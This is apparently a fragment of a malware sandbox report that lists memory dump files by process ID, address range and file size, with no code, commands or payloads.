memory/2808-38-0x0000000002DF0000-0x0000000002E70000-memory.dmpFilesize
512KB
-
memory/2808-37-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmpFilesize
9.6MB
-
memory/2808-42-0x0000000002DF0000-0x0000000002E70000-memory.dmpFilesize
512KB
-
memory/2984-14-0x0000000010000000-0x00000000105D7000-memory.dmpFilesize
5.8MB
-
memory/3060-130-0x0000000074420000-0x00000000749CB000-memory.dmpFilesize
5.7MB
-
memory/3060-121-0x00000000015D0000-0x0000000001610000-memory.dmpFilesize
256KB
-
memory/3060-126-0x00000000015D0000-0x0000000001610000-memory.dmpFilesize
256KB
-
memory/3060-125-0x00000000015D0000-0x0000000001610000-memory.dmpFilesize
256KB
-
memory/3060-122-0x0000000074420000-0x00000000749CB000-memory.dmpFilesize
5.7MB
-
memory/3060-120-0x0000000074420000-0x00000000749CB000-memory.dmpFilesize
5.7MB